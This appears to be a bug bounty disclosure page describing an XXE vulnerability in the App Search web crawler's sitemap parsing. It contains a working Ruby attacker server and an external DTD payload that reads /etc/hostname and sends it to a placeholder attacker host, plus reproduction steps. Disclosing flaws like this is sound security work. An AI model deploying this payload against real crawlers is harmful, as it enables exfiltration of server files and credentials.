XXE in Enterprise Search's App Search web crawler
The App Search web crawler parsed sitemap XML without disabling external entities, so a malicious sitemap could make the server read local files and send their contents to an attacker-controlled host. The reporter could only exfiltrate single-line files at the time of writing.
- Triaged in 5 days
- Fixed in 21 days
- Paid in 5 days
- Disclosed after 21 days
Summary
Hello team! The latest version of Enterprise Search (7.12.0) is vulnerable to XXE when parsing sitemaps. Up to now I'm only able to read file that contain one line. I'm reporting now to avoid duplicates, but I'll keep working to find a way to extract entire files or HTTP request bodies.
Description
Enterprise Search has a Web Crawler that crawls websites and ingests data to make it searchable. The crawler will look for robots.txt files and in that file it will look for the sitemap directive. When the sitemap is present, the crawler will parse it and crawl each pages that's listed there.
The code used to parse the site map is vulnerable to XXE. At the time of reporting I'm limited to exfiltrating only files that contain one line and admittedly this is very limiting, but I'm going to keep looking for ways to bypass this limitation. Once bypassed this has the potential to leak very sensitive data and credentials.
Steps to reproduce
Attacker Server
This is my attacker server, it's a ruby application that requires sinatra (gem install sinatra)
require 'sinatra'
set :bind, '0.0.0.0'
get '/robots.txt' do
'User-agent: *
Disallow:
sitemap: /sitemap.xml
'
end
get '/sitemap.xml' do
content_type 'application/xml'
'<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE urlset [
<!ENTITY % dtd SYSTEM "http://YOURDOMAIN.COM/exfil.dtd">
%dtd;
%param1;
%exfil;
]>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">
<url>
<loc>&test;</loc>
<lastmod>2019-06-19</lastmod>
<changefreq>daily</changefreq>
</url>
</urlset>'
end
get '/exfil.dtd' do
content_type 'application/xml-dtd'
'<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % data SYSTEM "file:///etc/hostname">
<!ENTITY % param1 "<!ENTITY % exfil SYSTEM \'http://YOURDOMAIN.COM/exfil?%data;\'>">'
end
Save that to a file and run it with ruby server.rb.
Enterprise Search
- Log in to Enterprise Search
- Click
Launch App Search - Click
Create an Engine, give it any name and clickCreate Engine - Click
Use the Web Crawler - Enter the domain hosting the XXE payload as the
Domain URL - Click
Start a Crawland observe your server logs, you should see the hostname of the targetted machine
Running this on an Elastic Cloud instance I got this in my log.
20.55.27.97 - - [08/Apr/2021:04:16:02 UTC] "GET /exfil?d403d12993e0 HTTP/1.1" 404 459
Where d403d12993e0 is the host name of the machine where my instance is running on. I could also reproduce using the on-premise version.
Impact
At the moment I can read a limited number of files. If I can get around the one line limit I'll be able to read credentials and potentially AWS metadata.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could read limited local files (single-line only at the time) and potentially AWS metadata if the one-line limitation were bypassed.
What the attacker needed
Attacker-controlled web server; ability to create an App Search engine; crawler configured to visit attacker domain
How it was found
- Set up an attacker server that serves a robots.txt pointing to a malicious sitemap.
- Serve a sitemap XML that references an external DTD and entities.
- Log in to Enterprise Search and launch App Search.
- Create an engine and open the Web Crawler.
- Enter the attacker domain as the Domain URL and start a crawl.
- Observe the attacker server logs receiving the target hostname.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
XML files can include special instructions called entities that pull in content from elsewhere. If a parser follows these instructions for external resources, an attacker can make it read files on the server and send them out. Here the crawler trusted a sitemap from an attacker's website and followed such an instruction.
What is XXE?
An XML parser resolves entities the attacker defines, reading local files or making the server send requests.